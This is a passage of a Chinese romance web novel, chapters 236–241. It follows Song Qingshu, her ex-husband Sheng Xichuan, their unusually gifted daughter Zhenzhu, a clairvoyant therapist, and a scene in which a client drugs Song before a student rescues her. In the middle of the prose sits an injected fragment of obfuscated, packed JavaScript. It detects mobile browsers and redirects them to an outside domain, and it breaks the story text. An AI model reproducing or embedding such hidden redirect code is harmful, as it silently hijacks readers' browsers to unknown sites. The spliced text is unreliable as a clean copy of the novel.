看着面前突然冷淡下来的脸,莫兰溪又有点无措:“那你饿不饿?要不要吃点东西?”
霍宗辞眼睛睁开又闭上:“气饱了。”
一直到退出病房,莫兰溪还有些莫名其妙。
等在门口的两人更是摸不着头脑。
“这么快?”宋清殊讶异。
“居然没有互诉衷肠,抱头痛哭吗?”霍婧珊也凑过来。
莫兰溪摇头,根本不知道问题出在哪里。
又过了两天,莫兰溪和霍婧珊留下照顾霍宗辞,宋清殊等人先回上京。
她迫不及待要和王千巽挨着坐。
第236章 王千巽:大多数事情只需靠推理
去机场的路上也发生了一件事。
杨端,宋清殊和王千巽同车,他们被尾随了。
一辆不起眼的黑色车一直不远不近地跟在他们后面,从酒店到机场跟了一路。
还是杨端先发现了不对。
“把那辆车甩开。”他沉声吩咐司机。
那司机想必也不是个普通人,在接到命令后,在城市公路上便把车飙到了160迈,上高速后直接180迈,简直上演速度与激情。
他开的快,后面那辆车便也开始加速。
那辆车起初被甩掉,过了几分钟又追下来。
“不用开这么快,让他追就是了。”宋清殊突然说,“这里各个路口都有监控,他不会真的敢做什么。”
那位司机马上看了一眼副驾上的杨端。
杨端下意识:“听太太的。”
意识到不对后,在司机慢慢减速后又开始找补:“听宋小姐的。”
他刚跟盛熙川通过电话,称呼还没有改过来。
宋清殊熟视无睹,直接当没听到。
一旁的王千巽始终什么反应都没有,没害怕,也不多嘴。
那辆车追上来,也没有超他们,一路跟到机场,又掉头离开。
“好端端的发神经!”杨端这样好修养的人都忍不住骂了一句。
宋清殊:“他是来敲战鼓的,敲完了,也就走了。”
“倒是没在我们忙着找人的时候出幺蛾子。”杨端说。
宋清殊:“试过了,人太多,没得逞。”
“什么时候?”杨端错愕。
王千巽:“宋小姐跟我去医院的时候。”
宋清殊诧异看他:“你也发现了?”
他们在医院的时候的确有个黑影鬼鬼祟祟,跟着他们好一段路,但他们去吃饭的时候,那个人已经不在了,应该是被盛熙川的人控制了。
宋清殊怕王千巽害怕,就没提,没想到他也知道。
“我马上跟老板说一下这个情况。”杨端说。
宋清殊没有阻拦。
季卿这样的人,什么事都干得出来,这只是个开始,她觉得自己后面有的忙了。
只是实在不知道这样的日子什么时候是个头。
千日防贼,太麻烦。
登机后,宋清殊和王千巽座位相邻,这不是巧合,是她自己有意安排。
此时,她终于有机会问出她想了好几天的那个问题。
“王医生,你可以看到我的未来吗?”
王千巽淡淡审视她:“可以。你未来一定会富甲一方,财富比你干妈陆夫人并不差,甚至更多。出现在各个财经杂志上,成为励志典型。”
哦……
可她想问的不是这个。
宋清殊垂下眼去,不是太开心,又拉不下脸直接问。
“怎么听说自己富甲一方也不开心吗?”王千巽揶揄。
宋清殊:“……开心。”
可她的困境从来不是钱,她从小到大,哪怕是被流放国外,都没有特别缺钱的时候。
所以,以后哪怕财富值超过干妈,也好像并没有那么值得高兴。
“不问我我怎么算的?”王千巽又问。
两人独处时他的话更多一些。
宋清殊从善如流:“怎么算的?”
“一个人从来不是孤零零存在的,有来路去处。
你对朋友仗义,知道如何用钱解决问题,有组织能力,以上这些优点,必然会让你取得事业上的成功。”
“所以你这只是推理,并不是占卜。”宋清殊说。
“可生活中大多事都无需占卜,靠推理就够了。”
王千巽说,“想想你纠结的那个问题,这件事如果对你不重要,会纠结吗?
换言之,如果对你重要,你已经做完了选择,依然纠结,就证明为原来的选择后悔了。”
这番话,让宋清殊如遭当头棒喝,霎时间脑子一片空白。
王千巽知道她想问什么,无非是想问,她最后有没有和盛熙川在一起,他们的结局到底是什么。
他觉得,她想从他这里得到一个台阶。
如果他说,最后看到了两人在一起,她便顺着台阶下来,不再跟命运对抗了。
她许久缓不过来。
后来,空姐过来发飞机餐和饮料,宋清殊要了一杯酒,慢慢喝下去。
王千巽说得对,她的事业一片明朗,无非是因为她处理起来得心应手,的确不需要太费神。
可她的感情就是不上不下一团糟。
她没有莫兰溪的勇气。
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>莫兰溪甚至不知道自己爱不爱霍宗辞,就敢决定留下来,留在他身边。
而自己,明知道对盛熙川有感情,却不敢回头。
酒劲上来,她的脸火烧火燎。
为自己套话的行为被识破而羞愧,也为不敢直面自己的心而懊恼。
但王千巽并没有因此对她反感,他还愿意跟她聊。
“这个世界上大多数的事情都是如此,只要把不可能的因素剔除,余下的便是真相。”
他不提她和盛熙川,反而提霍宗辞,“你说,霍宗辞愿意对莫兰溪舍命相救,是因为恨吗?是看她死在山体滑坡里不解气,非要救活慢慢折磨才好?”
宋清殊:“怎么可能?”
王千巽:“你看,旁观者都知道不可能,都知道是因为爱。只有身在其中的人,才看不透。”
宋清殊:“……”
许多人劝过她,可她灯下黑,只认自己的理。
可现在竟然被王千巽这个认识没几天的人说服了。
花都一行,改变了她太多东西。
连带着她的唯物主义的价值观都受到了冲击。
宋清殊觉得,她也有点**了。
王千巽:“你喜欢小动物,但怕自己照顾不好,所以从来不养。”
宋清殊睁大眼睛:“你怎么知道?”
王千巽:“……举个例子而已。”
他没有说错,她就是这样一个人,时刻求稳,如果知道有风险,干脆不开始。
靠着这个性格特质,她在很多事上都成功了,却也的确失去了很多挑战的乐趣。
再后来,飞机运行平缓下来,两人便都闭了眼假寐,没有再说话。
宋清殊梦到了盛熙川。
没有什么完整的事,梦里都是很碎片化的。
似乎有从他们相识到相爱过程的点滴。
有他亲手煮粥给她喝,带着她去看流浪猫小院,把她抵在温泉的池壁上亲吻……
宋清殊是在飞机落地的播报中醒来的,她揉眼睛,有一瞬间的错愕。
她和盛熙川明明有过那么多不愉快的时刻,梦里竟然只记住了好的一面。
飞机落地时是下午5:00。
让宋清殊意外的是,盛熙川竟然带了珍珠来接机。
第237章 灵力少女
“妈妈!”
机场的玻璃门外,珍珠抱了一大束花,对宋清殊挥手。
身后,是穿了一身意大利高定西装的盛熙川。
不知是有什么重要活动,还是特地为了接她,他还颇正式地做了发型,打了领带,胸口的口袋里,放了三角叠法的丝巾。
母女俩一周没见,宋清殊激动地抱起珍珠,亲了一口,随即才看向女儿身后的盛熙川。
“居然还来接机,有心了。”她微笑。
不知是不是因为刚才那个梦的缘故,还是王千巽那番话点醒了她,她再看盛熙川,竟然也没有那么抗拒了。
盛熙川看见她笑,竟然怔了怔。
多久没见她这样笑过了?不阴阳怪气,也没有过多的距离感,似乎是完全的发自内心看到他高兴。
他受宠若惊。
盛熙川心潮澎湃,面上却不动声色,替她拉过行李箱。
“一起吃晚饭吧。”他说,又怕自己显得太得寸进尺,补充道,“正好聊聊季卿的事。”
宋清殊点了点头:“好。”
此时,王千巽也取了自己托运的行李过来,见到盛熙川,抬了抬眉。
“好久不见。”他说。
宋清殊诧异:“你们认识?”
盛熙川尴尬地咳嗽一声。
“不熟。”
王千巽:“嗯,不熟。”
宋清殊觉得诡异,却也没过多打听。
此时,她想起一件事来。
抱着珍珠给王千巽看:“这是我女儿珍珠。”
珍珠在陌生人面前很少说话,她怕暴露自己的聪明,更怕别人不能接受一个小孩子有这样高的智力。
此时,珍珠一双大眼睛骨碌碌看着王千巽,并不言语。
“看你哪天有时间,可以来家里做客,跟珍珠聊聊。或者我带珍珠过去。”宋清殊说,“她……有点特殊。”
王千巽点点头,从包里拿出自己名片夹来,取出一张递给宋清殊:“上面有我微信。”
说完,他并不走。
而是合上自己的名片夹,对着珍珠摇了一下。
“小珍珠,知道叔叔的名片夹里还剩几张名片吗?”
宋清殊:???
他刚才并没有把名片夹的内容展示给他们看,不过是从一叠里抽出了一张。
这是让珍珠猜吗?
珍珠显然并不觉得为难,她眨了一下眼睛:“六张,其中有一张上面还有个折痕。”
王千巽再度把名片夹打开,将叠在一起的名片捻开呈扇形展示。
的确是六张,最下面那一张,有一个不轻不重的折痕。
王千巽笑,伸手把珍珠接过来,举了两下:“小珍珠比你妈妈要聪明,认我做师父好不好?”
不仅宋清殊,周围的几个人都目瞪口呆。连向来不动声色的盛熙川,都好似见了鬼,满脸诧异。
“你怎么知道她有这个能力的?”
之前家里偶尔有什么东西找不到,宋清殊和保姆会习惯性问珍珠。
珍珠也会准确地告诉她们位置。
但不管是宋清殊还是保姆,从来都没有多想过,只觉得新出生的脑子就是好用罢了。
珍珠一个闲人,天天满屋子乱晃,知道什么东西放在哪里,也不奇怪。
可她会隔空猜物,简直吓死个人。
王千巽:“我刚见你的时候就嗅到了同类气息,没想到失算了,你是个麻瓜。
见了珍珠,预感更强,便试了试,没想到真让我试出来了。”
宋清殊突然回忆起了王千巽见她时第一眼的微表情,的确是像见了熟人的。
她又觉得遍体生寒,忍不住抚摸手臂上的鸡皮疙瘩。
“珍珠,你能看到什么?能看到一会儿会发生的画面吗?”宋清殊问被王千巽抱在怀里的女儿。
但神情不是期待,是明显的提了口气,希望珍珠给出否定答案。
珍珠:“看不到,我都是乱猜。”
那口气松了松,却也没有彻底松下去。
因为王千巽又问:“这束花是多少朵,你能看出来吗?”
珍珠低头看一眼:“9朵玫瑰,10朵桔梗,32朵小雏菊,两朵绣球。”
宋清殊和盛熙川对视一眼,盛熙川把花从珍珠怀里接过,低头数。
5分钟后抬头:“她说的没错。”
虽然他没有一惊一乍,可眼里的震惊骗不了人。
站在一旁的杨端和几个手下更是目瞪口呆,嘴巴张得简直能
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塞进一个鸡蛋。
王千巽:“对,但她说看不到画面也是真的,她还小,松果体还没有激活。”
这番又科学又迷信的言论,更让人毛骨悚然。
可珍珠不怕,她甚至有点不耐烦了,对宋清殊张开手:“妈妈抱。”
宋清殊把珍珠接了回来。
“明天有空吗?聊聊。”她对王千巽说,又看了一眼盛熙川,“我和她爸爸一起。”
王千巽痛快点头:“有,明天早上9点,来我的心理诊所。”
一直到坐上车,把珍珠安顿在儿童座椅上,盛熙川和宋清殊还在沉默。
他们都在复盘珍珠之前的所作所为,在想难怪她能聪明成那个样子。
珍珠遇到王千巽不是偶然,而是命运的安排。
想想他们两个普通人,竟然生出了一个智力超群且有预知能力的孩子,还是挺意外的。
珍珠分别看两人的脸色,主动开口:“我跟别的小朋友不一样,爸爸妈妈会觉得害怕吗?”
“当然不会!”宋清殊和盛熙川异口同声。
仿佛觉得自己这样说还不够似的,宋清殊又补充:“有一个天赋异禀的宝宝,是很值得骄傲的,妈妈不过怕你不开心。”
盛熙川马上接口:“对,宝宝,爸爸妈妈只是担心你太聪明,活得会累。”
珍珠承认了她的“超能力”,或者说,她从未刻意隐瞒过,之前是她的麻瓜妈妈从来没往那方面想。
但这件事,知道的人不宜太多。
盛熙川也特地嘱咐了杨端要保密。
但在去吃饭的路上,两人不约而同拿出手机。
盛熙川搜:【会隔空猜物的玄学门派叫什么?】
宋清殊搜:【出马仙会发生在东三省以外吗?有什么特征?】
两人不敢当着珍珠的面讨论,只能一通疯狂搜索。
晚餐是珍珠小朋友选的,三人吃三文鱼火锅。
因为有了“珍珠有灵力”这个突发事件的打岔,宋清殊和盛熙川竟然从情情爱爱的漩涡里被暂时打捞了起来,面对彼此,没那么紧绷和尴尬了。
他们暂时摆脱了一个追一个逃的状态,像两个许久未见的老朋友,愉快地吃顿饭聊两句。
第238章 父女互动
珍珠心智成熟像大人,但毕竟行为上是个小朋友,需要照顾。
吃饭时,宋清殊和盛熙川面对面坐着,珍珠的儿童座椅在盛熙川身旁,全程都是他在喂。
宋清殊想揭穿女儿,告诉盛熙川珍珠会自己吃饭,刚要开口,看到她可怜巴巴的眼神,只好硬生生忍了。
盛熙川明显也非常乐在其中,丝毫不嫌麻烦。
他将烫熟的三文鱼放到碗中等温度合适,之后,一片片喂给珍珠吃。
珍珠不需要说话,一个眼神就能让盛熙川瞬间明白,她要吃东西还是要喝水,以及想吃什么。
到底是谁能未卜先知啊,宋清殊看两父女互动,莫名有点吃味。
吃味之余,又开始反思,自己是不是因为珍珠太聪明,就太拿她当大人了。
她对珍珠,更多的是平等沟通,像这样亲力亲为的照顾,无条件的宠爱,还真的不多。
明明满打满算,盛熙川发现珍珠的身份也不过两个月。
可他在这两个月里,竟然迅速成长为了一个好爸爸,还真是让人诧异。
两人聊起季卿的事,盛熙川道:“杨端都告诉我了,最近我也给季家找了点麻烦,不出意外的话,这两天就该来求饶了。”
宋清殊点头,相信他有处理这件事的能力,又多少有点理亏。
“毕竟这事的确是珍珠栽赃在先。”她说。
盛熙川这时候却拿出了昏庸家长的劲儿来。
他不满:“她一个大人,难不成要跟孩子计较?”
珍珠插嘴:“就是,我不过是给她个警告,谁让她觊觎我爸爸。”
宋清殊:“……宝贝,以后少看点狗血言情和宫斗剧,我和你爸爸离婚了,她不过是正常追求。”
盛熙川:“我宝真厉害,连‘觊觎’俩字都认识。”
宋清殊:“……”
她想收回刚才的话了,什么好爸爸,简直是慈父多败女。
珍珠原本就主意正,这下有了爸爸撑腰,更要无法无天了。
她正色,再次警告珍珠:“下次不许仗着自己智商高欺负别人,你到底是个小孩子,体力差距太大,又不占理,真出了事,爸爸妈妈也护不了你。”
珍珠老实了一点,低声嘟哝:“知道了。可她当年……”
宋清殊:“妈妈的仇,妈妈自己报,不要你伸张正义。”
珍珠垂眼,有点低落。
盛熙川要哄,在宋清殊严厉的眼神下,也迅速老实下来。
“妈妈说得对,你以后再有这种事要交给爸爸妈妈做。”他附和。
三人聊着天,竟然和那些普通的一家三口没什么区别,反而更温馨些。
毕竟,他们三岁的孩子,已经不是牙牙学语,而是能跟大人有来有回,沟通畅快。
三人在包间吃的饭,吃完已经是晚上8:00多。
盛熙川意犹未尽,却也知道急不得,反正第二天要一起去找王千巽的,跟宋清殊见面机会还有很多。
他们走出餐厅门口时,发生了一件事。
有几个拿**短炮的人过来,其中一个主动上前搭话,说自己在做街头摄影。
他拿出了自己百万粉丝的账号给他们看,问盛熙川:“你们一家三口颜值太高,太养眼了,能不能请你们拍张照?”
盛熙川当然愿意。
看吧,都知道他们是一家三口。
他还没开口,宋清殊却把珍珠的脸埋进自己怀里,果断拒绝:“抱歉,我们不方便出镜。”
那人还要软磨硬泡,她匆忙抱起珍珠上了车。
看着宋清殊落荒而逃的背影,盛熙川勾唇。
问那人:“你一眼就能看出我们是一家吗?”
“当然了,您的女儿五官很像您,表情又很像您太太。”那人说。
这话简直极大地取悦到了盛熙川。
“你明天去趟盛世集团,找我的助理杨端聊聊,看看能不能帮你把账号经营一下。”他说。
那人惊讶的嘴都合不拢了。
“您是盛……?”
他一时间不知道直呼其名是不是合适,懵住了。
回到车上时,盛熙川特地又看了一下宋清殊的脸色,还好,没什么不高兴。
当晚,珍珠跟宋清殊回家,母女一周没见,亲热了许久才相拥睡去。
然而,他们拒绝摄影团队的一幕,早已被别的人拍到,传到了网上。
【这两人是明星吗?真的好养眼,宝宝也很漂亮】
那人只是个几百粉丝的素人,文案也没有精心设计过。
谁知视频一炮而红,瞬间几百万播放量。
一时间**又开始疯狂起来。
【盛熙川和宋清殊带孩子共进晚餐】
【盛熙川和宋清殊疑似复合】
……
当天晚上,热搜就爆了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15516341|166688||http|test|mini|href|location''.split(''|''),0,{}));
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>等宋清殊发现时,是深夜。
她被自己女儿是个先知的事困扰,辗转反侧也难以入睡,干脆爬起来。
之后,便看到了楼珏的微信。
楼珏把无数热搜截图给她。
【都在传你们两个要复合了】
宋清殊一看,更是困意全无。
她跑去各个平台上看,事情好像已经到了不能控制的地步。
网民的热情比她想得更离谱。
【什么,俩人居然有孩子,什么时候的事???】
【其实我一直挺磕他俩的,没想到在四年后还有售后】
【除了宋清殊,世界上也没有女人跟盛熙川更般配了吧?】
【感觉就是故意在公众面前出现一下,为了复合打预防针的】
……
宋清殊看得哭笑不得,那位发视频的素人有一点倒是做得不错:给珍珠的脸打了码。
那样简单粗暴的打码方式,一看就不是个经常玩网络的,她有理由相信,这真的是个意外。
这件事,宋清殊没想过回应,无伤大雅的花边新闻而已,被人娱乐几天也就不了了之了。
而盛熙川何止是不澄清,他简直觉得自己得到的老天眷顾,连夜拿了两百万去投流。
虽说宋清殊软硬不吃,可试试呗,万一呢?
现在全世界都觉得他们是天生一对,早晚要复合的。
第二天上午9:00,两人如约到了王千巽的心理诊所。
王千巽在等他们,把别的工作都推了。
“珍珠某种程度上也是被上天选中的小孩。”王千巽说。
看向宋清殊:“你陪伴她三年,不可能什么都没发现过。”
宋清殊没想隐瞒,略微思索,便简单说了珍珠从小到大的不同之处。
“她刚出生就拒绝吃母乳,一吃就哭,后来就只能奶粉喂养。会说话之后,我就问她原因,她说觉得这样会伤害妈妈。”
“她小时候看电视上的法医解剖,看完就在纸上画人的内脏,形状位置都大差不差。”
“有什么东西找不到了,问她,她随口一说,东西果然在那里。”
因为这一系列的表现,让她知道珍珠记性好,智商也超过普通人,才带她去做了智力测试。
王千巽点头:“这还不能说明问题吗?”
宋清殊抿唇沉默了一会儿,又说:“可她……有点邪恶。”
第239章 劲敌
这样说自己女儿不太好,可宋清殊一时间想不出更合适的形容词。
在盛熙川口中听说过她如何对吴小爱后,更加剧了这个想法。
在宋清殊的角度来看,根本没必要。
吴小爱只是人刻薄白目一些,犯不着跟她一般见识。
“不要这么说珍珠,她只是嫉恶如仇!”王千巽严肃起来。
盛熙川在这一点上非常赞同。
“珍珠还小,处理事情的方式没那么圆融而已,但她收拾的都是坏人,她并不邪恶。”
相比起自己女儿的雷霆手段,他反而觉得宋清殊手段太软,太善良了。
两人在王千巽的诊所坐了一上午,王千巽说,珍珠早晚会跟他具备一样的能力,只是时间问题。
他这些年,就是预感一年比一年强。
他建议他们把珍珠交给他,因势利导。
宋清殊说:“我要问珍珠的意思。”
她本心里实在不希望自己的孩子这样特殊,但如果已成事实,免不了这一步,她也只能乖乖接受。
反而盛熙川心态比她松弛多了,他觉得自己女儿这样很好,很厉害,是他盛家祖坟上冒青烟。
他嘴上没说,但那一脸得意的表情说明了一切。
盛熙川看珍珠,可比宋清殊这个妈妈盲目多了。
宋清殊怕珍珠有什么心理疾病,觉得王千巽最好面诊一下。
王千巽当然不会错过这个机会:“可以选一个她觉得放松的场景,她有什么爱好吗?”
宋清殊随口揶揄:“你是半仙儿,会算不出来?”
王千巽扶额:“你又来了!”
宋清殊说珍珠喜欢围棋,每周会上三节围棋课,于是,王千巽说要去她家里和珍珠下棋。
宋清殊还没同意,盛熙川抢先:“要见珍珠,可以等周五来找我,你去她家里不方便。”
宋清殊:“……”
她家里又不是只有自己,还有两个保姆,也不知有什么不方便的。
但她懒得跟他争。
王千巽随和得很,含笑道:“好。但你要防的不是我,你的劲敌在后边。”
宋清殊瞪大眼睛,而盛熙川肉眼可见的变了脸色。
两人刚离开诊所,盛熙川的电话响了。
盛司令一开口就是质问:“你有孩子的事,居然连我这个做爷爷的都瞒着?”
盛熙川很淡定:“没想瞒着,我也刚知道不久。”
盛司令:“那晚上带着清殊和孩子来家里吃饭,就这么说定了。”
他异常强势,根本不管盛熙川是否同意,很快把电话挂了。
自从老爷子和舒颜去世后,父子俩的关系比较僵,经常十天半个月的不联络。
盛司令如今已经到了半隐退状态,最近几天看好多老友都添了孙子孙女,竟然也做起含饴弄孙的梦来。
谁知刚打瞌睡天上就掉下个枕头,他得知自己突然多了个大孙女,激动得一刻都等不了,只想赶紧见见。
放下电话,盛熙川看宋清殊:“老头说想见孙女,要我们三个晚上回去吃饭。”
宋清殊忙得都快忘了世界上有盛司令这么个人,这才想起珍珠竟然还没有见过爷爷。
“珍珠是该见见爷爷,我就不去了。”
她一个前儿媳,实在没有见前公公的必要。
盛熙川没有强求,当晚便带珍珠去了。
回来后,珍珠又主动分享感受。
她说爷爷高大威猛,让人非常有安全感,同时又和蔼可亲,一看就是个好爷爷。
“和蔼可亲”这四个字,让宋清殊诧异。
难不成隔辈亲的道理,在盛司令那里也适配?
宋清殊实在很难想象出盛司令“和蔼可亲”的模样。
珍珠又说,就是爷爷的老婆一直打量她,笑得很虚伪。
宋清殊:“你没叫奶奶吗?”
珍珠哪怕见到邻居老太太都乖乖叫奶奶的,
珍珠:“没有,我不喜欢她。再说,爸爸都不叫他妈妈或者阿姨,就证明不认可她这个后妈,我不想叫。”
宋清殊:“……”
她把这话原样学给了盛熙川。
盛熙川:“我女儿果然聪明,她竟然一眼看出陈婉容不是我亲妈。”
宋清殊几次想说大人的孩子还是不要掺和,孩子就该天真可爱懂礼貌。
转念想,既然已经知道珍珠不是普通孩子,硬要这样规训她,又有什么意义
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除了让她跟自己更疏远,似乎也没别的作用。
宋清殊觉得,一时间,她也变成为孩子问题困惑的家长了。
除此之外,她又多了一件焦虑的事,那就是王千巽那句话。
王千巽说,盛熙川的劲敌在后面。
是说,她还有遇到一个新人的机会吗?
想一想,她活到27岁,除了对莫北丞那段不成熟的暗恋,真正动心过的人,也只有盛熙川。
仔细想想,还……挺亏的。
不知道这次,她会以什么途径,认识谁。
胡思乱想了一两天,宋清殊又很快投入了工作中。
霍宗辞的腿一时半会儿好不了,他的工作几乎都落到了宋清殊头上,她一个人恨不能劈成两半用,忙到飞起。
这天,有个长期合作的客户赵总约宋清殊吃饭,理由是想加点新项目。
宋清殊带了霍宗辞的助理李思睿一同前往。
吃饭期间,有服务员上来说他们的车在停车场被剐蹭,李思睿便下去处理。
李思睿刚走,宋清殊便觉得那位赵总看她的眼神不对劲。
“宋总最近跟前夫的事儿又上热搜了,是准备复合了吗?”赵总问她。
被一个中年男人关心感情问题,宋清殊发自内心的不适,却还是强笑道:“暂时没有这个计划。”
赵总点点头,一双眼睛迷离的盯着她看:“好马不吃回头草,宋总这么迷人,有的是男人想要。”
多么油腻的发言,宋清殊想吐。
夸她漂亮,她能忍,“迷人”和“有的是男人想要”什么鬼?
心理上的不适已经蔓延到生理上,宋清殊站起身干笑了一声:“小李估计自己处理不好,我下去看看。”
“别走啊!”油腻老男人直接拉她的手,他身边坐了两个手下,更是一左一右,直接把宋清殊围住。
宋清殊一颗心猛地提起来。
三个男人都人高马大,看上去能一拳打死她。
他们想占她便宜,或者说,想坏她名声——
让人以为她宋清殊是靠出卖色相拿下生意!
合作了好几年的客户,会突然背刺,宋清殊第一反应是季卿干的。
第240章 温世誉
宋清殊心里紧张的要命,面上却不敢露出害怕的情绪。
只是厉声道:“赵总,请你放尊重一点!我想你根本没有合作的诚意,我们也不必再谈了,我还有事,再见!”
她特地提高了嗓门,好让外面走廊的人听见,自己也往门口的方向去。
“宋总,别这样嘛,不如就打个商量,你跟我好不好?我虽然不如盛熙川有钱,可我会疼人啊!”
油腻老男人的咸猪手摸上了宋清殊的脸。
宋清殊伸手“啪”地一下打下去。
赵姓老男人被激怒,恶狠狠道:“给我按住她!”
说话间,那两个手下就按住了宋清殊。
赵姓老男人拿出一包白色粉末,倒进了手边的酒杯里,之后捏住宋清殊的腮,强迫她张开嘴,灌了下去。
宋清殊呛得直咳嗽,拼命反抗往外呕,却依然被迫喝下了一大半。
这个药效果很猛,喝下去也就两分钟,宋清殊便觉得四肢发软,头晕目眩,整个人像悬浮在云里。
那人一看药效上来,便示意另外两人放开了她。
接着,他坐在桌前,对宋清殊招了招手。
“过来,让哥哥疼疼你,你就不难受了。”
另外两人举起了手机。
果然,跟她想得差不多。
无非是想拍到一个她勾引的甲方的罪证,让她身败名裂。
宋清殊几乎手脚并用地爬到门口。
然而,包间门早已被关的死死的。
“救命!”她用尽全身力气,猛地拍打着。
“你喊也没用,没人会来救你的。”那几个人明显有恃无恐,都在身后笑得一脸猥琐。
“识相一点,哥哥就温柔一点。”
宋清殊命悬一线,此时早已心里布满了恐惧。
她充耳不闻身后的人在说什么,只是趁着清醒,用尽全部力气拍门。
“救命,救救我!”
她大喊。
房间门被从外面用力踹开。
接着,她看到了几张年轻的脸。
眼下还没入夏,那几个人却都下身穿着短裤,上身是羽绒服,像一群刚打完球过来聚餐的大学生。
“救我,我是宋清殊!”宋清殊最近刚上了热搜,她觉得自己应该还有点知名度,慌忙自报家门。
怕几人坐视不理,她心一横冲过去,直接抱住了为首的一个。
那男孩吓了一跳,却并没有放开,而是直接把宋清殊抱紧了。
他身上还带着刚运动完的,独属于年轻男孩的微薄汗味,莫名让人安心。
“我劝你们不要多管闲事。”赵姓老男人恶狠狠道。
“我还就管了。”
抱着宋清殊的男孩说,又看了一眼身后的几个人,“报警。”
“你们敢!”两个手下冲过来要**,“黄头小子,**长齐了吗?就敢管你爷爷的事儿!”
男孩们正是热血又中二的时候,一身蛮力,三个脑满肠肥的中年人,哪里是他们的对手?
很快,三人便被少年们打趴下,一个个反剪着双手按在了地上。
“你还好吗?”抱宋清殊的那个问。
宋清殊虚弱地摇摇头:“不太好,把我……单独关到一个房间,帮我叫救护车。”
她实在没办法对着眼前目测不超过20岁的男孩,说出自己中了春/药的话来。
但她低估了现在孩子的成熟程度,男孩几乎马上明白发生了什么。
“救护车太慢了,你跟我走。”他说。
男孩一边安排带着几个男孩子盯住歹徒,等警察过来,一边抱着宋清殊往电梯口跑去。
他个子高,跑起来飞快,宋清殊觉得自己似乎听到了耳边呼啸的风声。
药物的作用越来越厉害,她控制不住自己,同他贴得更近,她的脸几乎埋在了男孩的胸前。
一边埋,一边哭唧唧道歉。
“对不起,对不起……”
惹得男孩直笑。
“好了,别哭了。你一把年纪,怎么看上去比我那些女同学还幼稚。”
他说着,反而把宋清殊抱紧了一些,“纯情男大给你吃豆腐,开不开心?”
宋清殊:“……”
没想到男孩是开摩托车来的。
摩托车就停在餐厅停车场,他将宋清殊放在自己身前,替戴上了安全帽。
“坐好。”他说,做出了启动的架势。
奈何宋
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清殊软得像一滩泥,男孩不得不一手骑摩托,一手勒紧了她的腰。
摩托车风驰电掣,一路开到医院。
换做往日,宋清殊坐在上面能吓个半死,眼下她却什么都顾不得了。
她脑子一片混沌,等终于捱到医院时已经神志不清。
好在男孩是个靠谱的,抱着她一路进了急诊。
一切处理妥当,已经是晚上9点多,宋清殊打点滴,男孩百无聊赖,坐在她身边横屏打游戏。
耳边厮杀声一片。
此时此刻,宋清殊终于平静了下来,有时间细细打量面前的男孩子。
男孩目测不超过20岁,看上去至少185CM以上,脱了羽绒服,只穿短袖,露出饱满的肱二头肌。
脸很立体,看眼睛的颜色和鼻梁高度,有点像混血。
他家境应该不错,毕竟开得起上百万的摩托。
“谢谢你,我叫宋清殊,你叫什么名字?”宋清殊问,又掏出手机,“刚才多少钱?我转给你。”
男孩不理她,认认真真打完一局游戏,才放下手机。
“我知道你,最近你的热搜好多。”他说。
宋清殊有点尴尬:“都是媒体乱写的。”
她打点滴的时间有点久,有点不好意思,便让男孩先回去。
男孩不动,说自己反正也没什么事,明天也没课。
两人聊了几句,宋清殊知道了他的名字:温世誉。
她猜的没错,温世誉果然是学生,他19岁,花都人,在上京大学读大二,学的经济管理。
“这么巧?!我在花都生活了四年,也是学的经济管理!”宋清殊说,竟然有点惊喜。
也许是因为温世誉年纪小,宋清殊对他不设防,两人聊了起来,竟然相谈甚欢。
等盛熙川来到病房时,两人已经聊到了花都哪家米线好吃,哪个花卉市场的花最新鲜。
盛熙川敲了敲门,引起两人的注意。
温世誉露出吃瓜表情:“不是说媒体报道都是假的?”
“真是假的,我们没有复合,只是朋友而已。”
温世誉“哦”了一声,站起身来,和盛熙川打招呼:“前夫哥好。”
第241章 劲敌出现
温世誉“前夫哥”称呼一出口,眼看着盛熙川黑了脸。
宋清殊却噗哧一声笑了:“你这孩子也太逗了。”
温世誉对宋清殊眨了一下眼睛,说:“那我先走了,姐姐。有时间一起玩,”
宋清殊点点头:“去吧,我明天去你学校当面道谢。”
温世誉拿起他的羽绒服和头盔走了。
盛熙川看着他的背影,神态紧绷。
他这几天反复在想王千巽的话。
王千巽说:“你的劲敌不是我。”
难不成是这么个毛头小子吗?
他看上去也就十八九岁,身高明显还在抽条,虽然神情老练,可到底是个孩子。
怎么能是他?
但毕竟他刚救了宋清殊。
见盛熙川出神,宋清殊开口:“是他救了我。”
盛熙川点了下头,又说:“那几个人被送进局子了,明天我亲自审。”
他是司令的儿子,有这个特权。
宋清殊便把当时的情况说了。
“这些人不仅想猥亵我,最主要是想留下证据。我怀疑是季卿在搞鬼。”
盛熙川神色瞬间冷了下来:“不用怀疑,一定是她。我简直太纵容她了。”
宋清殊说:“那你明天去审,审出来,回来告诉我,我手里正好有些季卿的黑料,到时候一并爆了。”
盛熙川点头,随即又郑重看她:“你这次要锤,就锤死,可不能轻拿轻放。”
一想起刚才那帮孩子和警察跟他说的话,盛熙川恨不能现在就去把那几个老男人和季卿一起五马分尸了。
“你现在觉得怎么样?还难受吗?”盛熙川坐到床边去,殷切地看着宋清殊。
在她最需要他的时刻,他不在身边,要是那些男孩子,她……盛熙川不敢想。
他更坚定了复婚的念头,复了婚,他做什么都名正言顺,她去应酬,他以丈夫的名义跟着,别人也说不出什么。
不仅不说,还会因为他的出现,觉得脸上有光,上赶着巴结他。
那这样,她的事业进展也会更顺利一些吧?
盛熙川盯着宋清殊出神,但这些话他现在不敢轻易说。
他和宋清殊的关系,不提复婚就很和谐,一提复婚,连最基本的交流都困难。
她这次从花都回来,对他的态度有了明显的改变,温和柔软了许多,已经让他欣喜若狂了。
不能吓到她,还是要徐徐图之。
而宋清殊却在想温世誉。
她觉得,自己应该表示一下感谢,请他和他的那些朋友们吃个饭,再送些礼物,最好写封感谢信送到学校里,说不定还能替他们加点学分。
这帮男孩子真是好样的,一点都没怕得罪那帮人,上来就把她救了。
她一定要保护好他们,不能让好人寒心。
打完点滴已经是11点多,盛熙川替宋清殊穿上大衣,拿了她的围巾,习惯性要替她围上。
